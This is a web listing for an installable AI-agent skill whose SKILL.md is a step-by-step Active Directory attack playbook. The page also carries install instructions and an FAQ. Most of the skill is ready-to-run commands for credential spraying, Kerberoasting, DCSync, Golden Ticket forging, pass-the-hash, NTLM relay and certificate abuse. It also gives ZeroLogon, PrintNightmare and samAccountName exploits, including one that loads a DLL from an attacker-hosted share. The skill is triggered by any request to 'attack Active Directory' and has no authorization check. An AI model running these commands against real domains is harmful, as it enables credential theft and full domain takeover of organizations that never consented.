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Active Directory Attacks

Organization
agent-skills-hub
Active Directory Attacks

This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.

Overview

Publisheragent-skills-hub
Repositoryagent-skills-hub
Skill nameActive Directory Attacks
Stars
101
Forks
35
Bundled files
1
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 1 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by agent-skills-hub on GitHub. Read the source before you install it.

Installation

Install the Active Directory Attacks AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/agent-skills-hub/agent-skills-hub.git /tmp/agent-skills-hub
mkdir -p .claude/skills
cp -r /tmp/agent-skills-hub/skills/active-directory-attacks .claude/skills/agent-skills-hub-active-directory-attacks
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Active Directory Attacks in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Active Directory Attacks on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Active Directory Attacks is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Active Directory Attacks

Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

Inputs/Prerequisites

  • Kali Linux or Windows attack platform
  • Domain user credentials (for most attacks)
  • Network access to Domain Controller
  • Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

Outputs/Deliverables

  • Domain enumeration data
  • Extracted credentials and hashes
  • Kerberos tickets for impersonation
  • Domain Administrator access
  • Persistent access mechanisms

Essential Tools

ToolPurpose
BloodHoundAD attack path visualization
ImpacketPython AD attack tools
MimikatzCredential extraction
RubeusKerberos attacks
CrackMapExecNetwork exploitation
PowerViewAD enumeration
ResponderLLMNR/NBT-NS poisoning

Core Workflow

Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

bash
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>

Step 2: AD Reconnaissance with BloodHound

bash
# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all

Step 3: PowerView Enumeration

powershell
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth

Credential Attacks

Password Spraying

bash
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success

Kerberoasting

Extract service account TGS tickets and crack offline:

bash
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt

AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

bash
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt

DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

bash
# Impacket
secretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator

Kerberos Ticket Attacks

Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

powershell
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/Administrator@dc.domain.local

Silver Ticket

Forge TGS for specific service:

powershell
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

Pass-the-Hash

bash
# Impacket
psexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
wmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH
smbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth

OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

bash
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt

NTLM Relay Attacks

Responder + ntlmrelayx

bash
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf

# Start relay
ntlmrelayx.py -tf targets.txt -smb2support

# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access

SMB Signing Check

bash
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

Certificate Services Attacks (AD CS)

ESC1 - Misconfigured Templates

bash
# Find vulnerable templates
certipy find -u user@domain.local -p password -dc-ip 10.10.10.10

# Exploit ESC1
certipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

ESC8 - Web Enrollment Relay

bash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Critical CVEs

ZeroLogon (CVE-2020-1472)

bash
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extract hashes
secretsdump.py -just-dc domain.local/DC01\$@10.10.10.10 -no-pass

# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD

PrintNightmare (CVE-2021-1675)

bash
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'

samAccountName Spoofing (CVE-2021-42278/42287)

bash
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell

Quick Reference

AttackToolCommand
KerberoastImpacketGetUserSPNs.py domain/user:pass -request
AS-REP RoastImpacketGetNPUsers.py domain/ -usersfile users.txt
DCSyncsecretsdumpsecretsdump.py domain/admin:pass@DC
Pass-the-Hashpsexecpsexec.py domain/user@target -hashes :HASH
Golden TicketMimikatzkerberos::golden /user:Admin /krbtgt:HASH
Spraykerbrutekerbrute passwordspray -d domain users.txt Pass

Constraints

Must:

  • Synchronize time with DC before Kerberos attacks
  • Have valid domain credentials for most attacks
  • Document all compromised accounts

Must Not:

  • Lock out accounts with excessive password spraying
  • Modify production AD objects without approval
  • Leave Golden Tickets without documentation

Should:

  • Run BloodHound for attack path discovery
  • Check for SMB signing before relay attacks
  • Verify patch levels for CVE exploitation

Examples

Example 1: Domain Compromise via Kerberoasting

bash
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Use cracked service account
psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10

Example 2: NTLM Relay to LDAP

bash
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Use created machine account for RBCD attack

Troubleshooting

IssueSolution
Clock skew too greatSync time with DC or use faketime
Kerberoasting returns emptyNo service accounts with SPNs
DCSync access deniedNeed Replicating Directory Changes rights
NTLM relay failsCheck SMB signing, try LDAP target
BloodHound emptyVerify collector ran with correct creds

Additional Resources

For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see references/advanced-attacks.md.

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Active Directory Attacks AI skill do?

This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.

Why use Active Directory Attacks on TypingMind?

Because you install it once and use it with any model. Active Directory Attacks is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Active Directory Attacks in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/agent-skills-hub/agent-skills-hub/tree/main/skills/active-directory-attacks. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Active Directory Attacks?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Active Directory Attacks?

As many as you like. As long as a model supports skills, you can use Active Directory Attacks with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Active Directory Attacks AI skill free?

Yes. It is published on GitHub by agent-skills-hub under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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